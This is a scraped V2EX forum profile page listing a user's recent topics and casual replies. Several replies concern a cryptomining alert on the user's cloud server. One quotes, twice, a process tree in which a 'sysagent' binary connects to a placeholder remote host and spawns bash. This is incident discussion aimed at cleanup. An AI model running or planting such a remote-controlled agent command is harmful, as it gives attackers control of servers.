freaks 最近的时间轴更新 freaks 最近的时间轴更新 |
freaksThere is no failure, only trying V2EX 第 119553 号会员，加入于 2015-05-29 16:31:25 +08:00今日活跃度排名 24104 |
| ecs 发现并告警了挖矿程序，你们一般是怎么处理的 服务器 • freaks • 6 天前 • 最后回复来自 julyclyde | 28 |
| 突然感觉一点过年的气氛都没得了 生活 • freaks • 37 天前 • 最后回复来自 fredsunme | 64 |
| 遇到一点证书问题，望运维大佬给看看 DevOps • freaks • 56 天前 • 最后回复来自 franklinyu | 46 |
| 为什么用了 clash verge 后，有些电脑端微信小程序会打不开 微信 • freaks • 85 天前 • 最后回复来自 freaks | 4 |
| 想咨询下苹果耳机问题 Apple • freaks • 88 天前 • 最后回复来自 freaks | 4 |
| 有人关注今天 tyson vs Paul 吗，几点开始，哪里可以看直播 体育运动 • freaks • 96 天前 • 最后回复来自 bojackhorseman | 11 |
| 不得不说现在线上购物体验真的差，哪怕你是会员 不靠谱茶话会 • freaks • 113 天前 |
| 这么惨得吗, cnblog 要倒闭了？ Blog • freaks • 136 天前 • 最后回复来自 freaks | 2 |
freaks 最近回复了
1 天前 回复了 CrazyRain0001 创建的主题 › 职场话题 › 被老员工在他们小群吐槽如何释怀 |
把他当作个屁放了，总有些小人喜欢搞这些小九九，有种当面对质
3 天前 回复了 lianglu 创建的主题 › 生活 › 记一次与相亲对象爸爸的聊天 |
如果觉得这个女生和你眼缘，我到觉得可以一试，你也不会损失什么，有时候过于想不开也不是好事
6 天前 回复了 freaks 创建的主题 › 服务器 › ecs 发现并告警了挖矿程序，你们一般是怎么处理的 |
@julyclyde #26 页面上显示父进程就是`/usr/bin/bash`
7 天前 回复了 freaks 创建的主题 › 服务器 › ecs 发现并告警了挖矿程序，你们一般是怎么处理的 |
@julyclyde 是的语法高亮， 主要是第二行命令和远程域名通信
7 天前 回复了 kirieievk 创建的主题 › 电影 › 我就想问下,论坛是不是只有我一个没有贡献哪吒票房的 |
唯一一次贡献还是别人请问看战狼，我还把那个人删了 
7 天前 回复了 freaks 创建的主题 › 服务器 › ecs 发现并告警了挖矿程序，你们一般是怎么处理的 |
@2Nfree 是一个页面， 使用 nginx proxy manager 搭建的
7 天前 回复了 bojackhorseman 创建的主题 › 生活 › 碎碎念也谈相亲 |
@harryWebb 是不是社交软件上，稍微擦边一点，都无数舔🐕点赞，导致现在男的都卑微的很
7 天前 回复了 freaks 创建的主题 › 服务器 › ecs 发现并告警了挖矿程序，你们一般是怎么处理的 |
@q1102389095 #18
父进程关系：
```bash
/usr/lib/systemd/systemd --switched-root --system --deserialize 22
/path/to/jar/sysagent -s illegal-domain:5555 -p Alphanumeric case
/usr/bin/bash
```
这个是不是要提权，先报有挖矿，后面就是这个对抗安全软件行为
父进程关系：
```bash
/usr/lib/systemd/systemd --switched-root --system --deserialize 22
/path/to/jar/sysagent -s illegal-domain:5555 -p Alphanumeric case
/usr/bin/bash
```
这个是不是要提权，先报有挖矿，后面就是这个对抗安全软件行为
7 天前 回复了 freaks 创建的主题 › 服务器 › ecs 发现并告警了挖矿程序，你们一般是怎么处理的 |
@q1102389095 感谢，我看看，那天使用隔离功能清理了，cpu 占用下来了，我再深入排查下，就是不知道是不是密码泄露了，还是程序漏洞
Select Language